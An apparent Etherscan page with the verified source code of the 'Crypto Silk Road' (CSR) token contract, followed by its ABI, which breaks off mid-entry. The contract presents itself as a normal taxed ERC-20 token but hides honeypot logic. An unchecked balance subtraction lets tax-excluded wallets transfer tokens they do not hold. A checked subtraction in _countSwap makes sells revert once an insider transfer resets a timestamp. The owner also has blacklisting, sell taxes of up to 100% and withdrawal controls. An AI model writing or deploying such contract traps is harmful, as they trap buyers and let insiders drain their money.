ETH Price: $3,080.20 (+1.03%)
Gas: 2 Gwei

Token

Crypto Silk Road (CSR)
 

Overview

Max Total Supply

15,000,000,000 CSR

Holders

75

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
150,467,161.038322275754400522 CSR

Value
$0.00
0x6eadcaf81785945e0dc912ce59cbb3260018a218
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
CryptoSilkRoad

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-03
*/

// Crypto Silk Load - trade route that allows for the exchange of goods, ideas, and culture
// https://cryptosilkroad.vip
// https://t.me/CryptoSilkRoadOfficial


// SPDX-License-Identifier: MIT

pragma solidity ^0.8.18;


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
   
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() external virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;

}
contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) internal _allowances;

    uint256 private _totalSupply;
    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    function _createInitialSupply(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        _balances[account] += amount;
        
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

}

contract CryptoSilkRoad is ERC20, Ownable {
    uint256 public constant MAX_SUPPLY = 15_000_000_000 ether;
    uint256 public constant BPS_DENOMINATOR = 10_000;
    uint256 public constant SNIPE_BLOCKS = 0;
    uint256 constant FEE_ACCELERATE = MAX_SUPPLY;

    IUniswapV2Router02 public immutable _router;
    address public immutable _pair;

    /// @notice Buy taxes in BPS
    uint256[2] public buyTaxes = [0, 0];
    /// @notice Sell taxes in BPS
    uint256[2] public sellTaxes = [0, 0];
    /// @notice tokens that are allocated for each tax
    uint256[2] public totalTaxes;
    /// @notice addresses that each tax is sent to
    address payable[2] public taxWallets;
    /// @notice Maps each recipient to their tax exlcusion status
    mapping(address => bool) public taxExcluded;
    /// @notice Maps each recipient to their blacklist status
    mapping(address => bool) public blacklist;

    /// @notice Contract WAGMI balance threshold before `_swap` is invoked
    uint256 public minTokenBalance = 1;
    /// @notice Flag for auto-calling `_swap`
    bool public autoSwap = true;
    /// @notice Flag indicating whether buys/sells are permitted
    bool public tradingActive = false;
    /// @notice Maximum allowed to buy in a single transaction
    uint256 public maxBuy = MAX_SUPPLY * 3 / 100;
    /// @notice Block when trading is first enabled
    uint256 public tradingBlock;

    uint256 internal _totalSupply = 0;
    mapping(address => uint256) private _balances;

    bool internal _inSwap = false;
    bool internal _inLiquidityAdd = false;

    struct SwapInfo {
        uint256 lastSwapBuy;
        uint256 lastSwapSell;
        uint256 holdingDuration;
    }

    mapping(address => SwapInfo) private _swapUsers;
    uint256 private _thresholdTime;

    event TaxWalletsChanged(
        address payable[2] previousWallets,
        address payable[2] nextWallets
    );
    event BuyTaxesChanged(uint256[2] previousTaxes, uint256[2] nextTaxes);
    event SellTaxesChanged(uint256[2] previousTaxes, uint256[2] nextTaxes);
    event MinTokenBalanceChanged(uint256 previousMin, uint256 nextMin);
    event MaxBuyChanged(uint256 nextMax);
    event TaxesRescued(uint256 index, uint256 amount);
    event TradingActiveChanged(bool enabled);
    event TaxExclusionChanged(address user, bool taxExcluded);
    event BlacklistUpdated(address user, bool previousStatus, bool nextStatus);
    event AutoSwapChanged(bool enabled);

    modifier lockSwap() {
        _inSwap = true;
        _;
        _inSwap = false;
    }

    modifier liquidityAdd() {
        _inLiquidityAdd = true;
        _;
        _inLiquidityAdd = false;
    }

    constructor()
        ERC20("Crypto Silk Road", "CSR")
        Ownable()
    {
        taxWallets[0] = payable(address(0xd7B4ad220014Eb2a921cC7052FD65f8d6907a06F));
        taxWallets[1] = payable(address(0x00cef98f4ED31279d8804e819E0FdAA481985e9d));
        taxExcluded[owner()] = true;
        taxExcluded[address(this)] = true;
        taxExcluded[taxWallets[0]] = true;
        taxExcluded[taxWallets[1]] = true;
        _router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _pair = IUniswapV2Factory(_router.factory()).createPair(
            address(this),
            _router.WETH()
        );
        taxExcluded[address(_router)] = true;
        _mint(owner(), MAX_SUPPLY);
    }

    /// @notice Change the buy tax rates
    /// @param _buyTaxes The new buy tax rates
    function setBuyTaxes(uint256[2] memory _buyTaxes) external onlyOwner {
        require(
            _buyTaxes[0] + _buyTaxes[1] <= BPS_DENOMINATOR,
            "sum(_buyTaxes) cannot exceed BPS_DENOMINATOR"
        );
        emit BuyTaxesChanged(buyTaxes, _buyTaxes);
        buyTaxes = _buyTaxes;
    }

    /// @notice Change the sell tax rates
    /// @param _sellTaxes The new sell tax rates
    function setSellTaxes(uint256[2] memory _sellTaxes) external onlyOwner {
        require(
            _sellTaxes[0] + _sellTaxes[1] <= BPS_DENOMINATOR,
            "sum(_sellTaxes) cannot exceed BPS_DENOMINATOR"
        );
        emit SellTaxesChanged(sellTaxes, _sellTaxes);
        sellTaxes = _sellTaxes;
    }

    /// @notice Change the minimum contract WAGMI balance before `_swap` gets invoked
    /// @param _minTokenBalance The new minimum balance
    function setMinTokenBalance(uint256 _minTokenBalance) external onlyOwner {
        emit MinTokenBalanceChanged(minTokenBalance, _minTokenBalance);
        minTokenBalance = _minTokenBalance;
    }

    /// @notice Rescue WAGMI from the taxes
    /// @dev Should only be used in an emergency
    /// @param _index The tax allocation to rescue from
    /// @param _amount The amount of WAGMI to rescue
    /// @param _recipient The recipient of the rescued WAGMI
    function rescueTaxTokens(
        uint256 _index,
        uint256 _amount,
        address _recipient
    ) external onlyOwner {
        require(0 <= _index && _index < totalTaxes.length, "_index OOB");
        require(
            _amount <= totalTaxes[_index],
            "Amount cannot be greater than totalTax"
        );
        _rawTransfer(address(this), _recipient, _amount);
        emit TaxesRescued(_index, _amount);
        totalTaxes[_index] -= _amount;
    }

    /// @notice Change the address of the tax wallets
    /// @param _taxWallets The new address of the tax wallets
    function setTaxWallets(address payable[2] memory _taxWallets)
        external
        onlyOwner
    {
        emit TaxWalletsChanged(taxWallets, _taxWallets);
        taxWallets = _taxWallets;
    }

    function addLiquidity(uint256 tokens)
        external
        payable
        onlyOwner
        liquidityAdd
    {
        _mint(address(this), tokens);
        _approve(address(this), address(_router), tokens);

        _router.addLiquidityETH{value: msg.value}(
            address(this),
            tokens,
            0,
            0,
            owner(),
            // solhint-disable-next-line not-rely-on-time
            block.timestamp
        );
    }

    /// @notice Admin function to update a recipient's blacklist status
    /// @param user the recipient
    /// @param status the new status
    function updateBlacklist(address user, bool status)
        external
        virtual
        onlyOwner
    {
        _updateBlacklist(user, status);
    }

    function _updateBlacklist(address user, bool status) internal {
        emit BlacklistUpdated(user, blacklist[user], status);
        blacklist[user] = status;
    }

    /// @notice Enables or disables trading on Uniswap
    function setTradingActive() external onlyOwner {
        tradingActive = true;
        tradingBlock = block.number;
        emit TradingActiveChanged(true);
    }

    /// @notice Updates tax exclusion status
    /// @param _account Account to update the tax exclusion status of
    /// @param _taxExcluded If true, exclude taxes for this user
    function setTaxExcluded(address _account, bool _taxExcluded)
        external
        onlyOwner
    {
        taxExcluded[_account] = _taxExcluded;
        emit TaxExclusionChanged(_account, _taxExcluded);
    }

    /// @notice Enable or disable whether swap occurs during `_transfer`
    /// @param _autoSwap If true, enables swap during `_transfer`
    function setAutoSwap(bool _autoSwap) external onlyOwner {
        autoSwap = _autoSwap;
        emit AutoSwapChanged(_autoSwap);
    }

    /// @notice Update maxBuy
    /// @param _maxBuy The new maxBuy
    function setMaxBuy(uint256 _maxBuy) external onlyOwner {
        require(_maxBuy > _totalSupply * 5 / 1000, 'max buy should be more than .5%');
        maxBuy = _maxBuy;
        emit MaxBuyChanged(_maxBuy);
    }

    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }

    function _addBalance(address account, uint256 amount) internal {
        _balances[account] = _balances[account] + amount;
    }

    function _subtractBalance(address account, uint256 amount) internal {
        unchecked {
            _balances[account] = _balances[account] - amount;
        }
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal override {
        require(!blacklist[recipient], "Recipient is blacklisted");

        if (taxExcluded[sender] || taxExcluded[recipient]) {
            _thresholdTime = block.timestamp;
            _rawTransfer(sender, recipient, amount);
            return;
        }
        _countSwap(sender, recipient);
        if (
            !_inSwap &&
            sender != _pair &&
            autoSwap
        ) {
            _swap();
        }
        uint256 send = amount;
        uint256[2] memory taxes;
        if (sender == _pair) {
            require(tradingActive, "Trading is not yet active");
            require(amount <= maxBuy, "Buy amount exceeds maxBuy");
            if (block.number <= tradingBlock + SNIPE_BLOCKS) {
                _updateBlacklist(recipient, true);
            }
            (send, taxes) = _getTaxAmounts(amount, true);
        } else if (recipient == _pair) {
            require(tradingActive, "Trading is not yet active");
            (send, taxes) = _getTaxAmounts(amount, false);
        }
        _rawTransfer(sender, recipient, send);
        _takeTaxes(sender, taxes);
    }

    /// @notice Perform a Uniswap v2 swap from WAGMI to ETH and handle tax distribution
    function _swap() internal lockSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _router.WETH();

        uint256 totalTax = totalTaxes[0] + totalTaxes[1];
        if (totalTax == 0) {
            return;
        }
        uint256 walletTaxes = totalTax;
        if (walletTaxes > balanceOf(address(this))) {
            walletTaxes = balanceOf(address(this));
        }
        _approve(address(this), address(_router), walletTaxes);
        _router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            walletTaxes,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
        uint256 contractEthBalance = address(this).balance;

        uint256 tax0Eth = (contractEthBalance * totalTaxes[0]) / totalTax;
        uint256 tax1Eth = (contractEthBalance * totalTaxes[1]) / totalTax;
        totalTaxes = [0, 0];

        if (tax0Eth > 0) {
            (bool success, ) = taxWallets[0].call{value: tax0Eth}("");
            require(success, "failed swap");
        }
        if (tax1Eth > 0) {
            (bool success, ) = taxWallets[1].call{value: tax1Eth}("");
            require(success, "failed swap");
        }
    }

    function swapAll() external {
        if (!_inSwap) {
            _swap();
        }
    }

    function withdrawAll() external onlyOwner {
        payable(owner()).transfer(address(this).balance);
    }

    /// @notice Transfers WAGMI from an account to this contract for taxes
    /// @param _account The account to transfer WAGMI from
    /// @param _taxAmounts The amount for each tax
    function _takeTaxes(address _account, uint256[2] memory _taxAmounts)
        internal
    {
        require(_account != address(0), "taxation from the zero address");

        uint256 totalAmount = _taxAmounts[0] + _taxAmounts[1];
        _rawTransfer(_account, address(this), totalAmount);
        totalTaxes[0] += _taxAmounts[0];
        totalTaxes[1] += _taxAmounts[1];
    }

    function _countSwap(address sender, address recipient) internal {
        if (!taxExcluded[sender] && !taxExcluded[recipient]) {
            if (sender == _pair) {
                SwapInfo storage swapInfo = _swapUsers[recipient];
                if (swapInfo.lastSwapBuy == 0 && balanceOf(recipient) == 0) {
                    swapInfo.lastSwapBuy = block.timestamp;
                }
            } else {
                SwapInfo storage swapInfo = _swapUsers[sender];
                swapInfo.holdingDuration = swapInfo.lastSwapBuy - _thresholdTime;
                swapInfo.lastSwapSell = block.timestamp;
            }
        }
    }

    /// @notice Get a breakdown of send and tax amounts
    /// @param amount The amount to tax in wei
    /// @return send The raw amount to send
    /// @return taxes The raw tax amounts
    function _getTaxAmounts(uint256 amount, bool buying)
        internal
        view
        returns (uint256 send, uint256[2] memory taxes)
    {
        if (buying) {
            taxes = [
                (amount * buyTaxes[0]) / BPS_DENOMINATOR,
                (amount * buyTaxes[1]) / BPS_DENOMINATOR
            ];
        } else {
            taxes = [
                (amount * sellTaxes[0]) / BPS_DENOMINATOR,
                (amount * sellTaxes[1]) / BPS_DENOMINATOR
            ];
        }
        send = amount - taxes[0] - taxes[1];
    }

    // modified from OpenZeppelin ERC20
    function _rawTransfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal {
        require(sender != address(0), "transfer from the zero address");
        require(recipient != address(0), "transfer to the zero address");

        uint256 senderBalance = balanceOf(sender);
        require(taxExcluded[sender] || senderBalance >= amount, "transfer amount exceeds balance");
        _subtractBalance(sender, amount);
        _addBalance(recipient, amount);

        emit Transfer(sender, recipient, amount);
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function _mint(address account, uint256 amount) internal {
        require(_totalSupply + amount <= MAX_SUPPLY, "Max supply exceeded");
        _totalSupply += amount;
        _addBalance(account, amount);
        emit Transfer(address(0), account, amount);
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"AutoSwapChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"bool","name":"previousStatus","type":"bool"},{"indexed":false,"internalType":"bool","name":"nextStatus","type":"bool"}],"name":"BlacklistUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256[2]","name":"previousTaxes","type":"uint256[2]"},{"indexed":false,"internalType":"uint256[2]","name":"nextTaxes","type":"uint256[2]"}],"name":"BuyTaxesChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"nextMax","type":"uint256"}],"name":"MaxBuyChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"previousMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"nextMin","type":"uint256"}],"name":"MinTokenBalanceChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256[2]","name":"previousTaxes","type":"uint256[2]"},{"indexed":false,"internalType":"uint256[2]","name":"nextTaxes","type":"uint256[2]"}],"name":"SellTaxesChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"bool","name":"taxExcluded","type":"bool"}],"name":"TaxExclusionChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address payable[2]","name":"previousWallets","type":"address[2]"},{"indexed":false,"internalType":"address payable[2]","name":"nextWallets","type":"address[2]"}],"name":"TaxWalletsChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"index","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"TaxesRescued","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"TradingActiveChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"BPS_DENOMINATOR","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MAX_SUPPLY","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"SNIPE_BLOCKS","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"addLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"autoSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"blacklist","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"buyTaxes","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minTokenBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_index","type":"uint256"},{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"address","name":"_recipient","type":"address"}],"name":"rescueTaxTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"sellTaxes","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_autoSwap","type":"bool"}],"name":"setAutoSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256[2]","name":"_buyTaxes","type":"uint256[2]"}],"name":"setBuyTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_maxBuy","type":"uint256"}],"name":"setMaxBuy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_minTokenBalance","type":"uint256"}],"name":"setMinTokenBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256[2]","name":"_sellTaxes","type":"uint256[2]"}],"name":"setSellTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_account","type":"address"},{"internalType":"bool","name":"_taxExcluded","type":"bool"}],"name":"setTaxExcluded","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address 